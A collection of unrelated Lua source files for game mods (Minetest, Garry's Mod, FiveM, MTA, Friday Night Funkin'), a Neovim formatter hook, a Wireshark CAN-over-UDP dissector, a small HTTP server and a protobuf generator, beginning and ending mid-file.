"..data.cookies[param].."CKs") minetest.log("action","[FailPoints] "..name.." now own "..(data.cookies[name] or 0).."CKs") minetest.sound_play({ name = "cookie", to_player = param, gain = 0.1 }) local message_reason = "." if param2 ~= nil then local m_table = paramlist table.remove(m_table,1) message_reason = " because " for _,k in ipairs(m_table) do message_reason = message_reason..k.." " end end data.send_func(param,"Congratulations "..param..", you get a CooKie" .. message_reason) minetest.chat_send_player(name,"CooKie sent.") end end })
local h = require("null-ls.helpers") local methods = require("null-ls.methods") local DIAGNOSTICS = methods.internal.DIAGNOSTICS return h.make_builtin({ name = "cue_fmt", method = DIAGNOSTICS, filetypes = { "cue" }, generator_opts = { command = "cue", args = { "fmt", "$FILENAME" }, format = "raw", from_stderr = true, to_temp_file = true, check_exit_code = function(code) return code <= 1 end, on_output = function(params, done) local diagnostics = {} local lines = vim.split(params.output, "\n") for i, err in ipairs(lines) do if i % 2 == 0 then local row, col = string.match(err, ".*:(%d+):(%d+)") table.insert(diagnostics, { row = row, col = col, end_col = col + 1, source = "cue_fmt", message = lines[i - 1], severity = 1, }) end end done(diagnostics) end, }, factory = h.generator_factory, })
AddCSLuaFile() DEFINE_BASECLASS( "sent_tv_io_base" ) ENT.PrintName = "IO: Switch" ENT.Author = "raubana" ENT.Information = "" ENT.Category = "Tunnel Vision" ENT.Editable = true ENT.Spawnable = true ENT.AdminOnly = true ENT.RenderGroup = RENDERGROUP_OPAQUE ENT.NumInputs = 1 ENT.NumOutputs = 2 ENT.InstantUpdate = true list.Add( "TV_IO_ents", "sent_tv_io_switch" ) function ENT:Initialize() self:SetModel( "models/tunnelvision/io_models/io_switch.mdl" ) self:DrawShadow( false ) if SERVER then self:PhysicsInit(SOLID_VPHYSICS) self:GetPhysicsObject():EnableMotion(false) self:SetUseType( SIMPLE_USE ) self:IOInit() self.is_on = false self:SetSkin( 0 ) if self.start_state then self:SetState( self.start_state ) self:DeriveIOFromState() self.start_state = nil end if self.start_is_on then self:SetOn( true ) self.start_is_on = nil end end end function ENT:GetInputPos( x ) local pos = self:GetPos() pos = pos + (self:GetForward() * 0.5) + (self:GetRight()*2) return pos end function ENT:GetOutputPos( x ) local pos = self:GetPos() if x == 1 then pos = pos + (self:GetForward() * 0.5) - (self:GetRight()*2) + (self:GetUp() * 1.75) else pos = pos + (self:GetForward() * 0.5) - (self:GetRight()*2) - (self:GetUp() * 1.75) end return pos end if SERVER then function ENT:SetOn( silent ) self.is_on = true if not silent then self:EmitSound( "buttons/lightswitch2.wav", 55 ) end self:SetSkin( 1 ) end function ENT:SetOff( silent ) self.is_on = false if not silent then self:EmitSound( "buttons/lightswitch2.wav", 55 ) end self:SetSkin( 0 ) end function ENT:Use( activator, caller, useType, value ) self.is_on = not self.is_on if self.is_on then self:SetOn() self:TriggerOutput("OnSwitchedOn", self) if self:GetInputX(1) == true then self:TriggerOutput("OnSwitchedOnHasPower", self) else self:TriggerOutput("OnSwitchedOnHasNoPower", self) end else self:SetOff() self:TriggerOutput("OnSwitchedOff", self) if self:GetInputX(1) == true then self:TriggerOutput("OnSwitchedOffHasPower", self) else self:TriggerOutput("OnSwitchedOffHasNoPower", self) end end self:TriggerOutput("OnSwitchChange", self) hook.Call( "TV_IO_MarkEntityToBeUpdated", nil, self ) end function ENT:KeyValue(key, value) if key == "OnSwitchedOn" or key == "OnSwitchedOff" or key == "OnSwitchChange" or key == "OnSwitchedOnHasPower" or key == "OnSwitchedOnHasNoPower" or key =="OnSwitchedOffHasPower" or key =="OnSwitchedOffHasNoPower" or key =="OnChange" then self:StoreOutput(key, value) elseif key == "state" then self.start_state = tonumber( value ) elseif key == "is_on" then self.start_is_on = tobool( value ) end end function ENT:Update() self:UpdateInputs() self:StoreCopyOfOutputs() if not self.is_on then self:SetOutputX( 1, false ) self:SetOutputX( 2, self:GetInputX( 1 ) ) else self:SetOutputX( 1, self:GetInputX( 1 ) ) self:SetOutputX( 2, false ) end local old_state = self:GetState() self:UpdateIOState() local new_state = self:GetState() if old_state != new_state then self:TriggerOutput("OnChange", self) end self:MarkChangedOutputs() end function ENT:Pickle( ent_list, cable_list ) local data = {} data.is_on = self.is_on data.class = self:GetClass() data.pos = self:GetPos() data.angles = self:GetAngles() data.state = self:GetState() return util.TableToJSON( data ) end function ENT:UnPickle( data, ent_list ) self:SetPos( data.pos ) self:SetAngles( data.angles ) self:SetState( data.state ) self:DeriveIOFromState() self.is_on = data.is_on end end
function onCreate() --Iterate over all notes for i = 0, getProperty('unspawnNotes.length')-1 do --Check if the note is an Instakill Note if getPropertyFromGroup('unspawnNotes', i, 'noteType') == 'Static Note' then setPropertyFromGroup('unspawnNotes', i, 'texture', 'StaticNOTE_assets'); --Change texture setPropertyFromGroup('unspawnNotes', i, 'noteSplashTexture', 'staticSplash'); -- change splash if getPropertyFromGroup('unspawnNotes', i, 'mustPress') then --Doesn't let Dad/Opponent notes get ignored setPropertyFromGroup('unspawnNotes', i, 'ignoreNote', false); --Miss has no penalties end end end --debugPrint('Script started!') end -- Function called when you hit a note (after note hit calculations) -- id: The note member id, you can get whatever variable you want from this note, example: "getPropertyFromGroup('notes', id, 'strumTime')" -- noteData: 0 = Left, 1 = Down, 2 = Up, 3 = Right -- noteType: The note type string/tag -- isSustainNote: If it's a hold note, can be either true or false function goodNoteHit(id, noteData, noteType, isSustainNote) if noteType == 'Static Note' then -- put something here if you want end end -- Called after the note miss calculations -- Player missed a note by letting it go offscreen function noteMiss(id, noteData, noteType, isSustainNote) if noteType == 'Static Note' then -- put something here if you want makeLuaSprite('image', 'StaticLUL', 200, 50); addLuaSprite('image', true); doTweenColor('hello', 'image', 'FFFFFFFF', 0.1, 'quartIn'); setObjectCamera('image', 'other'); runTimer('wait', 1); bruh = getProperty('health'); setProperty('health', bruh - 0.25); end end function onTimerCompleted(tag, loops, loopsleft) if tag == 'wait' then doTweenAlpha('byebye', 'image', 0, 0.1, 'linear'); end end function onTweenCompleted(tag) if tag == 'byebye' then removeLuaSprite('image', true); end end
isInTrunk = false RegisterNetEvent("vrp.inventoryhud:refreshTrunk") AddEventHandler("vrp.inventoryhud:refreshTrunk", function() updateTrunk() end) function openTrunk() local weight,data,_ = vrpServer.getInv(gridZone) --if not IsPedInAnyVehicle(PlayerPedId(), false) then local data2,max2,weight2,placa = vrpServer.loadTrunk() if data2 then isInInventory = true SendNUIMessage({ action = "display", type = "trunk" }) SetNuiFocus(true, true) SendNUIMessage({ action = "setText", text = 'ply-' .. GetPlayerServerId(PlayerId()), weight = weight, max = max }) SendNUIMessage({ action = "setItems", itemList = data }) SendNUIMessage({ action = "setSecondText", text = 'trunk-' .. placa, weight = weight2, max = max2 }) SendNUIMessage({ action = "setSecondItems", itemSList = data2 }) end -- else -- local data2,max2,weight2,placa = vrpServer.loadTrunk2() -- if data2 then -- isInInventory = true -- SendNUIMessage({ action = "display", type = "trunk" }) -- SetNuiFocus(true, true) -- SendNUIMessage({ action = "setText", text = 'ply-' .. GetPlayerServerId(PlayerId()), weight = weight, max = max }) -- SendNUIMessage({ action = "setItems", itemList = data }) -- SendNUIMessage({ action = "setSecondText", text = 'glovebox-' .. placa, weight = weight2, max = max2 }) -- SendNUIMessage({ action = "setSecondItems", itemSList = data2 }) -- end -- end end function updateTrunk() local weight,data,_,max = vrpServer.getInv(gridZone) local data2,max2,weight2,placa = vrpServer.loadTrunk() SendNUIMessage({ action = "setText", text = 'ply-' .. GetPlayerServerId(PlayerId()), weight = weight, max = max }) SendNUIMessage({ action = "setItems", itemList = data }) SendNUIMessage({ action = "setSecondText", text = 'trunk-' ..placa, weight = weight2, max = max2 }) SendNUIMessage({ action = "setSecondItems", itemSList = data2 }) end RegisterNUICallback("PutIntoTrunk", function(data, cb) if IsPedSittingInAnyVehicle(playerPed) then return end if type(data.number) == "number" and math.floor(data.number) == data.number then TriggerServerEvent("b03461cc:pd-inventory:putItem", data.data.item, data.number,veh) end Wait(500) updateInventory() updateTrunk() end) RegisterNUICallback("TakeFromTrunk", function(data, cb) if IsPedSittingInAnyVehicle(playerPed) then return end if type(data.number) == "number" and math.floor(data.number) == data.number then TriggerServerEvent("b03461cc:pd-inventory:getItem", data.data.item, data.number) end Wait(500) updateInventory() updateTrunk() end)
print(math.cos(1), math.sin(1), math.tan(1), math.atan(1), math.atan2(3, 4))
local jobs = exports.UCDjobsTable:getJobTable() local blips = {} local markers = {} local GUI = {} local originalSkin = {} local frozen local disabledControls = {"forwards", "backwards", "jump", "sprint", "left", "right"} function onClientResourceStart() local sX, sY = guiGetScreenSize() -- GUI GUI.window = GuiWindow(781, 377, 337, 418, "UCD | Jobs - ", false) GUI.window.visible = false GUI.window.sizable = false GUI.window.alpha = 255 guiSetPosition(GUI.window, 0, (sY - 377) / 2, false) GUI.label = GuiLabel(8, 30, 319, 198, "", false, GUI.window) --[[ GUI.gridlist = GuiGridList(11, 238, 316, 120, false, GUI.window) guiGridListAddColumn(GUI.gridlist, "Skin Name", 0.7) guiGridListAddColumn(GUI.gridlist, "Skin ID", 0.2) --]] GUI.take = GuiButton(11, 368, 141, 36, "Take Job", false, GUI.window) GUI.close = GuiButton(186, 368, 141, 36, "Close", false, GUI.window) -- F5 GUI --F5.window = GuiWindow() -- Event handlers addEventHandler("onClientGUIClick", GUI.take, takeJob, false) addEventHandler("onClientGUIClick", GUI.close, toggleJobGUI, false) -- Create markers for jobName, info in pairs(jobs) do if (info.markers) then markers[jobName] = {} blips[jobName] = {} for i, v in ipairs(info.markers) do markers[jobName][i] = Marker(v.x, v.y, v.z - 1, "cylinder", 2, info.colour.r, info.colour.g, info.colour.b, 120) markers[jobName][i]:setData("job", jobName) markers[jobName][i].interior = v.interior markers[jobName][i].dimension = v.dimension markers[jobName][i]:setData("displayText", jobName.." Job") if (v.interior == 0 and info.blipID) then blips[jobName][i] = Blip.createAttachedTo(markers[jobName][i], info.blipID, nil, nil, nil, nil, nil, 5, 255) end addEventHandler("onClientMarkerHit", markers[jobName][i], onJobMarkerHit) addEventHandler("onClientMarkerLeave", markers[jobName][i], onJobMarkerLeave) end end end end addEventHandler("onClientResourceStart", resourceRoot, onClientResourceStart) function createGridList() GUI.gridlist = GuiGridList(11, 238, 316, 120, false, GUI.window) guiGridListAddColumn(GUI.gridlist, "Skin Name", 0.7) guiGridListAddColumn(GUI.gridlist, "Skin ID", 0.2) guiGridListSetSortingEnabled(GUI.gridlist, false) addEventHandler("onClientGUIClick", GUI.gridlist, previewSkin) end function onJobMarkerHit(plr, matchingDimension) if (plr and isElement(plr) and plr.type == "player" and plr == localPlayer and not plr.vehicle and matchingDimension) then local jobName = source:getData("job") if (markers[jobName] and blips[jobName]) then if (plr.position.z - 1.5 < source.position.z and plr.position.z + 1.5 > source.position.z) then --toggleJobGUI(jobName) --for _, ctrl in ipairs(disabledControls) do -- setControlState(ctrl, false) --end bindZ(jobName) end end end end function onJobMarkerLeave(plr, matchingDimension) if (plr and isElement(plr) and plr.type == "player" and plr == localPlayer and not plr.vehicle) then local jobName = source:getData("job") --if (jobName) then --if (markers[jobName]) then exports.UCDdx:del("jobgui") unbindZ() --end --end end end function bindZ(jobName) bindKey("z", "down", toggleJobGUI, jobName) exports.UCDdx:add("jobgui", "Press Z: Job GUI", 255, 215, 0) end function unbindZ() unbindKey("z", "down", toggleJobGUI) exports.UCDdx:del("jobgui") end function toggleJobGUI(_, _, jobName) unbindZ() GUI.window.visible = not GUI.window.visible if (GUI.window.visible) then if (jobName) then -- Set text accordingly if (#jobs[jobName].skins >= 1) then createGridList() else if (GUI.gridlist) then GUI.gridlist:destroy() GUI.gridlist = nil end end GUI.label.text = tostring(jobs[jobName].desc) GUI.window.text = "UCD | Jobs - "..jobName -- Add gridlist items for skins for _, v in ipairs(jobs[jobName].skins) do local row = guiGridListAddRow(GUI.gridlist) guiGridListSetItemText(GUI.gridlist, row, 1, v[2], false, false) guiGridListSetItemText(GUI.gridlist, row, 2, v[1], false, false) end end showCursor(true) --localPlayer.frozen = true --frozen = true originalSkin[localPlayer] = localPlayer.model else if (GUI.gridlist) then guiGridListClear(GUI.gridlist) end GUI.label.text = "" GUI.window.text = "UCD | Jobs - " showCursor(false) if (localPlayer.model ~= originalSkin[localPlayer] and originalSkin[localPlayer] ~= nil) then localPlayer.model = originalSkin[localPlayer] originalSkin[localPlayer] = nil end --if (localPlayer.frozen and frozen == true) then -- localPlayer.frozen = false -- frozen = false --end end end function previewSkin() local row = guiGridListGetSelectedItem(GUI.gridlist) if (row and row ~= -1) then local skinID = tonumber(guiGridListGetItemText(GUI.gridlist, row, 2)) localPlayer.model = skinID else localPlayer.model = originalSkin[localPlayer] end end function takeJob() local jobName, skin if (GUI.window.visible) then jobName = gettok(GUI.window.text, 2, "-"):sub(2) if (jobs[jobName]) then local skinID if (GUI.gridlist and isElement(GUI.gridlist)) then local row = guiGridListGetSelectedItem(GUI.gridlist) if (not row or row == -1) then exports.UCDdx:new("You need to select a skin for this job", 255, 0, 0) return end skinID = tonumber(guiGridListGetItemText(GUI.gridlist, row, 2)) end -- Take the job triggerServerEvent("UCDjobs.takeJob", localPlayer, jobName, skinID, originalSkin[localPlayer]) toggleJobGUI() else exports.UCDdx:new("Something went wrong when trying to take this job", 255, 0, 0) end end end
local Line = {} function Line:new(world, x1, y1, x2, y2, color) local line = {} setmetatable(line, self) self.__index = self line.b = love.physics.newBody(world, 0, 0, 'static') line.s = love.physics.newEdgeShape( x1, y1, x2, y2 ) line.f = love.physics.newFixture( line.b, line.s ) line.color = color or {1,1,1} return line end function Line.calculeColor(self, d) d = d / 100 return { self.color[1]/d, self.color[2]/d, self.color[3]/d, 1 } end function Line.draw2d(self) love.graphics.line(self.b:getWorldPoints(self.s:getPoints())) end function Line.draw3d(self, d, i) local screenW, screenH = love.graphics.getDimensions() local pixelwidth = screenW/(RAYNUMBER*RAYPRECISION) local height = screenH*80/d local x, y = pixelwidth*(i-1), (screenH - height) / 2 love.graphics.setColor(self:calculeColor(d)) love.graphics.polygon('fill', x, y, x+pixelwidth, y, x+pixelwidth, y+height, x, y+height ) love.graphics.setColor(1, 1, 1, 1) end return Line
-- @brief CAN-over-UDP Protocol dissector plugin -- @author -- @date 2018.07.12 -- create a new dissector local NAME = "CANoU" local PORT = 3248 local CANoU = Proto(NAME, "CAN-over-UDP Protocol") local canid_set = { [0x37] = "Acceleration via ICE", [0xb4] = "Current speed of the automobile", [0x1c4] = "ICE RPM", [0x24] = "ICE Torque", [0x224] = "Brake pedal position sensor", [0x25] = "Steer wheel angle", [0x230] = "Brake sensor", [0x245] = "Gas pedal position", [0x283] = "Pre-collision action", [0x7df] = "Universal diagnostic message" } local DBC_DATABASE = { [0x0037] = {['bytelen']=7, ['bit_start']= 0, ['bit_num']=40, ['scale']=1.0, ['offset']=0.0}, [0x00b4] = {['bytelen']=8, ['bit_start']=47, ['bit_num']=16, ['scale']=0.01, ['offset']=0.0}, [0x0104] = {['bytelen']=8, ['bit_start']=15, ['bit_num']=16, ['scale']=1.0, ['offset']=-400}, [0x0024] = {['bytelen']=8, ['bit_start']=15, ['bit_num']=16, ['scale']=1.0, ['offset']=0.0}, [0x0224] = {['bytelen']=8, ['bit_start']=47, ['bit_num']=16, ['scale']=0.01, ['offset']=0.0}, [0x0025] = {['bytelen']=8, ['bit_start']=3, ['bit_num']=12, ['scale']=1.5, ['offset']=0.0}, [0x0230] = {['bytelen']=7, ['bit_start']=31, ['bit_num']=8, ['scale']=1.0, ['offset']=0.0}, [0x0245] = {['bytelen']=5, ['bit_start']=15, ['bit_num']=16, ['scale']=0.0062, ['offset']=0.0}, [0x0283] = {['bytelen']=7, ['bit_start']=16, ['bit_num']=24, ['scale']=1.0, ['offset']=0.0}, [0x07df] = {['bytelen']=8, ['bit_start']=15, ['bit_num']=16, ['scale']=1.0, ['offset']=0.0} } local f_canid = ProtoField.uint32("canou.canid", "CAN Message Name", base.HEX, canid_set) local f_canlen = ProtoField.uint8("canou.msglen", "Length of Byte", base.DEC) local f_canval = ProtoField.uint32("canou.msgval", "Value", base.DEC) local f_canmsg = ProtoField.string("canou.text", "Addi. Info") CANoU.fields = { f_canid, f_canlen, f_canval, f_canmsg } -- dissect packet function CANoU.dissector(buf, pkt, tree) local subtree = tree:add(CANoU, buf(0,24)) subtree:add_le(f_canid, buf(8,4)) subtree:add(f_canlen, buf(15,1)) -- subtree:add(f_canval, buf(16,8)) -- extract CAN ID local canid = buf(8,4):le_uint() local msg_string = canid_set[canid] if msg_string == nil then subtree:add(f_canmsg, "unknown message type") else subtree:add(f_canmsg, msg_string) end -- decode the value carried in CAN message local value = 0 local decoder = DBC_DATABASE[canid] if decoder == nil then value = canid else local value_byte_num = (decoder['bit_start'] + decoder['bit_num']) / 8 local bit_shift = 8 - (decoder['bit_start'] + decoder['bit_num']) % 8 for i=0,value_byte_num do local newbyte = buf(16+i,1):uint() -- to remove prefix for first byte --[[ if i == 0 then local bitmask = 2 ^ (8 - decoder['bit_start'] % 8) newbyte = newbyte & bitmask end value = (value * 256) + newbyte --]] end value = value / (2^bit_shift) value = value * decoder['scale']+decoder['offset'] end subtree:add(f_canval, value) end -- register this dissector local udp_encap_table = DissectorTable.get("udp.port") udp_encap_table:add(PORT, CANoU)
-- -- ZyWebD express edition for shadowsocks-lua -- (c) 2015 zyxwvu <imzyxwvu@icloud.com> -- -- NOTE: features not included: -- FastCGI backend, General Server, SSL Server, HandleRequest, and built-in MIMES -- local uv = require "xuv" local crunning, cresume, cyield = coroutine.running, coroutine.resume, coroutine.yield local schar, sformat, tconcat, mmin = string.char, string.format, table.concat, math.min local HTTP = { Reader = {}, Response = {}, Backend = uv, Timeout = 10000 } local function SafeResume(co, ...) local s, err = cresume(co, ...) if not s then print(debug.traceback(co, err)) end end HTTP.ServerVer = "ZyWebD/15.02; " .. _VERSION HTTP.DefaultDoc = { "index.html" } HTTP.PathSep = package.config:sub(1, 1) function HTTP.UrlDecode(is) return is:gsub("%%([A-Fa-f0-9][A-Fa-f0-9])", function(m) return schar(tonumber(m, 16)) end) end HTTP.Decoders = {} HTTP.Decoders["HTTP Request"] = function(buffer) local l, r = buffer:find("\r?\n\r?\n") if l and r then assert(l - 1 > 1, "empty request") local head = buffer:sub(1, l - 1) local result, firstLine = {}, true for l in head:gmatch("([^\r\n]+)") do if firstLine then local verb, resource = l:match("^([A-Z]+) ([^%s]+) HTTP/1%.[01]$") assert(verb and resource, "bad request") result.method, result.resource_orig = verb, resource local resource2, querystr = resource:match("^([^%?]+)%??(.*)") result.headers = {} result.resource, result.query = HTTP.UrlDecode(resource2), querystr firstLine = false else local k, v = l:match("^([A-Za-z0-9%-]+):%s?(.+)$") assert(k and v, "bad request") result.headers[k:lower()] = v end end return result, buffer:sub(r + 1, -1) elseif #buffer > 0x10000 then -- impossible for a header to be larger than 64K error "header too long" -- notify the reader to stop reading from the stream end end function HTTP.Decoders.Line(buffer) local l, r = buffer:find("\r?\n") if l and r then if r < #buffer then -- in case there's something left return buffer:sub(1, l - 1), buffer:sub(r + 1, -1) else return buffer:sub(1, l - 1) end end end HTTP.SafeResume = SafeResume HTTP.Reader_MT = { __index = HTTP.Reader } HTTP.Response_MT = { __index = HTTP.Response } function HTTP.Reader:Push(str, err) if not str then self.stopped = true if self.decoder then SafeResume(self.readco, nil, err or "stopped") end if self.watchdog then uv.close(self.watchdog) end elseif self.buffer then self.buffer = self.buffer .. str if self.decoder then local s, result, rest = pcall(self.decoder, self.buffer) if not s then SafeResume(self.readco, nil, result) elseif result then if rest and #rest > 0 then self.buffer = rest else self.buffer = nil end SafeResume(self.readco, result) end end else if self.decoder then local s, result, rest = pcall(self.decoder, str) if not s then self.buffer = str SafeResume(self.readco, nil, result) elseif result then if rest and #rest > 0 then self.buffer = rest end SafeResume(self.readco, result) else self.buffer = str end else self.buffer = str end end end function HTTP.Reader:Decode(decoder_name) assert(not self.decoder, "already reading") local decoder = HTTP.Decoders[decoder_name] or decoder_name if self.buffer then local s, result, rest = pcall(decoder, self.buffer) if not s then return nil, result elseif result then if rest and #rest > 0 then self.buffer = rest else self.buffer = nil end return result end end if self.stopped then return nil, "stopped" end self.readco, self.decoder = crunning(), decoder if self.watchdog then uv.timer_start(self.watchdog, function() uv.timer_stop(self.watchdog) SafeResume(self.readco, nil, "timeout") end, self.decode_timeout) local result, err = cyield() self.readco, self.decoder = nil, nil uv.timer_stop(self.watchdog) return result, err else local result, err = cyield() self.readco, self.decoder = nil, nil return result, err end end function HTTP.Reader:Read(len) local readSome = function(buffer) if #buffer <= len then return buffer elseif #buffer > len then return buffer:sub(1, len), buffer:sub(len + 1, -1) end end local cache = {} while len > 0 do local block, err = self:Decode(readSome) if block then cache[#cache + 1] = block len = len - #block else cache[#cache + 1] = self.buffer self.buffer = tconcat(cache) return nil, err end end return tconcat(cache) end function HTTP.Reader:Peek() assert(not self.decoder, "already reading") if self.buffer then local buffer = self.buffer self.buffer = nil return self.buffer end if self.stopped then return nil, "stopped" end self.readco, self.decoder = crunning(), function(buffer) return buffer end local result, err = cyield() self.readco, self.decoder = nil, nil return result, err end function HTTP.NewReader(timeout) if timeout then assert(timeout >= 100, "too short timeout") end local reader = { decode_timeout = timeout } if reader.decode_timeout then reader.watchdog = uv.new_timer() end return setmetatable(reader, HTTP.Reader_MT) end local statuscodes = { [100] = 'Continue', [101] = 'Switching Protocols', [200] = 'OK', [201] = 'Created', [202] = 'Accepted', [203] = 'Non-Authoritative Information', [204] = 'No Content', [205] = 'Reset Content', [206] = 'Partial Content', [300] = 'Multiple Choices', [301] = 'Moved Permanently', [302] = 'Found', [303] = 'See Other', [304] = 'Not Modified', [400] = 'Bad Request', [401] = 'Unauthorized', [403] = 'Forbidden', [404] = 'Not Found', [405] = 'Method Not Allowed', [406] = 'Not Acceptable', [408] = 'Request Time-out', [409] = 'Conflict', [410] = 'Gone', [411] = 'Length Required', [412] = 'Precondition Failed', [413] = 'Request Entity Too Large', [415] = 'Unsupported Media Type', [416] = 'Requested Range Not Satisfiable', [417] = 'Expectation Failed', [418] = 'I\'m a teapot', -- RFC 2324 [500] = 'Internal Server Error', [501] = 'Not Implemented', [502] = 'Bad Gateway', [503] = 'Service Unavailable', } function HTTP.Response:RawWrite(chunk) if self.disabled then return nil, "disabled" end local s, err = self.coreWrite(self.stream, chunk, function(err) HTTP.SafeResume(self.thread, err) end) if s then if err ~= "done nothing" then -- tweak for SSL err = cyield() if err then return nil, err end end self.tx = self.tx + #chunk return self else return nil, err end end function HTTP.Response:Disable() if not self.disabled then self.disabled = true if self.on_close then self.on_close() end end end function HTTP.Response:Handled() return self.headerSent or self.disabled end function HTTP.Response:Close() if not self.disabled then self.coreClose(self.stream) self.disabled = true end end function HTTP.Response:WriteHeader(code, headers) assert(not self.headerSent, "header already sent") assert(statuscodes[code], "bad status code") local head = { ("HTTP/1.1 %d %s"):format(code, statuscodes[code]), "Server: " .. HTTP.ServerVer } for k, v in pairs(headers) do if type(v) == "table" then for i, vv in ipairs(v) do head[#head + 1] = k .. ": " .. vv end else head[#head + 1] = k .. ": " .. v end end head[#head + 1] = "\r\n" assert(self:RawWrite(tconcat(head, "\r\n"))) self.headerSent = code return self end function HTTP.Response:DisplayError(state, content) if not self:Handled() then self:WriteHeader(state, { ["Content-Length"] = #content, ["Content-Type"] = "text/html" }) self:RawWrite(content) end self:Close() end function HTTP.Response:RedirectTo(resource) return self:WriteHeader(302, { ["Content-Length"] = 0, ["Location"] = resource }) end function HTTP.ServiceLoop(sync) while true do local request = sync.reader:Decode "HTTP Request" if request then request.peername, request.ssl_port = sync.peername, sync.ssl_port request.reader = sync.reader local res = setmetatable({ coreWrite = sync.write, coreClose = sync.close, thread = sync.thread, stream = sync.stream, tx = 0 }, HTTP.Response_MT) sync.response = res local s, err = pcall(sync.callback, request, res) if res.disabled then return end -- We can't do anything... if s then if not res.headerSent then local result = "Request not caught by any handler." res:WriteHeader(500, { ["Content-Type"] = "text/plain", ["Content-Length"] = #result }) res:RawWrite(result) end else if res.headerSent then return res:Close() else res:DisplayError(500, ([[<!DOCTYPE html><html> <head><title>HTTP Error 500</title></head><body><h1>500 Internal Server Error</h1><p>%s Error: <strong>%s</strong></p> <p style="color:#83B;">* This response is generated by %s</p></body></html>]]):format(_VERSION, err, HTTP.ServerVer)) end end if request.headers.connection then request.headers.connection = request.headers.connection:lower() if request.headers.connection ~= "keep-alive" then return res:Close() end else return res:Close() end else sync.close(sync.stream) break end end end function HTTP.HandleStream(self, rest, callback) local reader = HTTP.NewReader(HTTP.Timeout) if rest then reader:Push(rest) end local sync = { stream = self, reader = reader, callback = callback } sync.peername = self:getpeername() if not sync.peername then self:close(); return end function self.on_close(note) reader:Push(nil, note) if sync.response then sync.response:Disable() end end sync.write, sync.close = self.write, self.close function self.on_data(chunk) reader:Push(chunk) end self:read_start() sync.thread = coroutine.create(HTTP.ServiceLoop) HTTP.SafeResume(sync.thread, sync) end return HTTP
-------------------------------- -- @module ScaleBy -- @extend ScaleTo -- @parent_module cc ---@class cc.ScaleBy:cc.ScaleTo local ScaleBy = {} cc.ScaleBy = ScaleBy -------------------------------- --- Creates the action with and X factor and a Y factor.<br> -- param duration Duration time, in seconds.<br> -- param sx Scale factor of x.<br> -- param sy Scale factor of y.<br> -- return An autoreleased ScaleBy object. ---@param duration number ---@param sx number ---@param sy number ---@param sz number ---@return cc.ScaleBy ---@overload fun(self:cc.ScaleBy, duration:number, sx:number, sy:number):cc.ScaleBy ---@overload fun(self:cc.ScaleBy, duration:number, s:number):cc.ScaleBy function ScaleBy:create(duration, sx, sy, sz) end -------------------------------- --- ---@param target cc.Node ---@return cc.ScaleBy function ScaleBy:startWithTarget(target) end -------------------------------- --- ---@return cc.ScaleBy function ScaleBy:clone() end -------------------------------- --- ---@return cc.ScaleBy function ScaleBy:reverse() end -------------------------------- --- ---@return cc.ScaleBy function ScaleBy:ScaleBy() end return nil
local currentMap = nil local spawnPoint = nil mapData = {} AddEventHandler('getMapDirectives', function(add) -- add a custom data add("koth", function(state, arg1, arg2) -- do something with the custom data mapData.koth = arg1 state.add("koth", {arg1 = arg1}) end, function(state, arg) -- cleaning up whatever the map did above for i,data in ipairs(mapData) do if state["koth"].arg1 == data.arg1 then mapData.koth = nil end end end) Wait(1000) LoadMapData() end) AddEventHandler('getMapDirectives', function(add) -- add a custom data add("teams", function(state, arg1, arg2) -- do something with the custom data mapData.teams = arg1 state.add("teams", {arg1 = arg1}) end, function(state, arg) -- cleaning up whatever the map did above for i,data in ipairs(mapData) do if state["teams"].arg1 == data.arg1 then mapData.teams = nil end end end) end) AddEventHandler('getMapDirectives', function(add) -- add a custom data add("shops", function(state, arg1, arg2) -- do something with the custom data mapData.shops = arg1 ShopCoords = arg1 state.add("shops", {arg1 = arg1}) end, function(state, arg) -- cleaning up whatever the map did above for i,data in ipairs(mapData) do if state["shops"].arg1 == data.arg1 then mapData.shops = nil end end end) end) AddEventHandler('getMapDirectives', function(add) -- add a custom data add("spawns", function(state, arg1, arg2) -- do something with the custom data mapData.spawns = arg1 state.add("spawns", {arg1 = arg1}) end, function(state, arg) -- cleaning up whatever the map did above for i,data in ipairs(mapData) do if state["spawns"].arg1 == data.arg1 then mapData.spawns = nil end end end) end) AddEventHandler('getMapDirectives', function(add) -- add a custom data add("vehicleSpawns", function(state, arg1, arg2) -- do something with the custom data mapData.vehicleSpawns = arg1 state.add("vehicleSpawns", {arg1 = arg1}) end, function(state, arg) -- cleaning up whatever the map did above for i,data in ipairs(mapData) do if state["vehicleSpawns"].arg1 == data.arg1 then mapData.vehicleSpawns = nil end end end) end) AddEventHandler('getMapDirectives', function(add) -- add a custom data add("zoneconfig", function(state, arg1, arg2) -- do something with the custom data mapData.zoneconfig = arg1 zoneconfig = zoneconfig state.add("zoneconfig", {arg1 = arg1}) end, function(state, arg) -- cleaning up whatever the map did above for i,data in ipairs(mapData) do if state["zoneconfig"].arg1 == data.arg1 then mapData.zoneconfig = nil end end end) end) function LoadMapData() repeat Wait(500) until (mapData.koth and mapData.spawns and Teaminfo.id ~= 0) TriggerServerEvent("whatMapAreWeOn") setNewSpawnPoints() TriggerEvent("changeMap", {x = mapData.koth[1], y = mapData.koth[2], z = mapData.koth[3], r = mapData.koth[4]} ) end function setNewSpawnPoints(spawnpoints) exports.spawnmanager:setAutoSpawn(false) local spToSet = mapData.spawns[Teaminfo.id] exports.spawnmanager:removeSpawnPoint(spawnPoint) spawnPoint = exports.spawnmanager:addSpawnPoint({ -- TODO: Multiple spawn points for each team. x = spToSet[1], y = spToSet[2], z = spToSet[3], heading = 0, model = "s_m_y_marine_01" -- TODO: When skin shop gets implemented make sure player spawns with his/her skin }) exports.spawnmanager:setAutoSpawn(true) exports.spawnmanager:forceRespawn(true) end
------------------------------------------------ -- Copyright © 2013-2020 Hugula: Arpg game Engine -- -- author pu ------------------------------------------------ local require = require local io = io local serpent = require("serpent") -- local pb = require "pb" -- local protoc = require "protoc" -- local p = protoc.new() -- p:loadfile("msgid.proto") local GetFileName = CS.System.IO.Path.GetFileName local outfilepath = CS.UnityEngine.Application.dataPath .. "/Lua/net/protoc_init.lua" local read_dir = CS.UnityEngine.Application.dataPath .. "/Lua/proto" local fileMys = CS.System.IO.Directory.GetFiles (read_dir); local proto_files = {} for i =0,fileMys.Length-1 do local file = GetFileName(fileMys[i]) -- print(file) if string.find(file, "%.proto$") then table.insert(proto_files, file) end end -- print(serpent.block(proto_files)) -- getLuaFileInfo:close() -- print(outfilepath) local file, err = io.open(outfilepath, "w+") if err then print(err) end file:write( [[ -----------------this is generate by hugula lua protobuf tool ------------------------- -------------------------do not change-------------------------------------- local pb = require("pb") local protoc = require "protoc" local p = protoc.new() ]] ) for k,v in ipairs(proto_files) do 